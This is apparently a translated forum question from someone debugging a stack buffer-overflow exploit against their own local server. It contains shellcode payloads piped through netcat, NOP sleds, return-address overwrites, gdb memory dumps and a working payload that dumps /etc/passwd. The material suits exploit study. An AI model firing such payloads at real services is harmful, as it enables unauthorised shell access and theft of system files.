我有一个服务器(供参考:pastebin.com/ghJX69uH),我可以netcat使用它,它会要求输入消息。
我知道它很容易受到缓冲区溢出的影响,但我似乎无法运行 shellcode。我已经成功地将返回地址指向 NOP 幻灯片,它击中了/bin/sh但它没有产生外壳。这是我的代码:
echo "`python -c 'print "\x90"*65517 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xac\xf3\xfe\xbf"*10 + "\n"'`" | nc 127.0.0.1 1111
这是一个简单的缓冲区溢出 [NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]
第一张图片显示返回地址是0xbffef3acNOP sled,所以一切正常!第二张图显示了一个没有外壳的 SIGSEGV,什么也没有发生。
这里发生了什么?我看了一下ebp,它显示了一些奇怪的东西:我的\x90后面应该是我的 shellcode,但看起来不同。关于可能出什么问题或如何解决这个问题的任何见解?
0xbffef42c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffef43c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffef44c: 0x90909090 0x50c03190 0x732f2f68 0x622f6868
0xbffef45c: 0xe3896e69 0xbffef468 0x00000000 0x6e69622f
0xbffef46c: 0x68732f2f 0x00000000 0xbffef3ac 0xbffef3ac
0xbffef47c: 0xbffef3ac 0xbffef3ac 0xbffef3ac 0xbffef3ac
0xbffef48c: 0xbffef3ac 0x00000000 0x00000000 0x00000000
0xbffef49c: 0x00000000 0x00000000 0x00000000 0x00000000
编辑:代码格式来自 numberphile,shellcode 来自http://shell-storm.org/shellcode/files/shellcode-827.php,我运行并生成了一个 shell。我尝试在 shellcode 和返回地址之间添加填充(我放了 A),但奇怪的事情又发生了:
New code: echo "`python -c 'print "\x90"*65490 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*27 + "\xac\xf4\xfe\xbf" + "\n"'`" | nc 127.0.0.1 1129
0xbffef42c: 0x90909090 0x90909090 0x90909090 0xc0319090
0xbffef43c: 0x2f2f6850 0x2f686873 0x896e6962 0x895350e3
0xbffef44c: 0xcd0bb0e1 0x41414180 0x41414141 0x41414141
0xbffef45c: 0x41414141 0x41414141 0x41414141 0x00000001
0xbffef46c: 0xbffef4ac 0x08049000 0x00000004 0xbffff4a4
0xbffef47c: 0xbffff490 0xbffff48c 0x00000004 0x00000000
0xbffef48c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffef49c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffef4ac: 0x00000000 0x00000000 0x00000000 0x0000000
编辑:所以我设法成功打印了所有的 etc/passwd,但不知道为什么 /bin/sh shellcode 不起作用
作品:/etc/passwd
echo "`python -c 'print "\x90"*65478+"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80" +"AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf" + "\n"'`" | nc 127.0.0.1 2010
不起作用:/bin/sh
echo "`python -c 'print "\x90"*65513 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf\x9c" + "\n"'`" | nc 127.0.0.1 3003






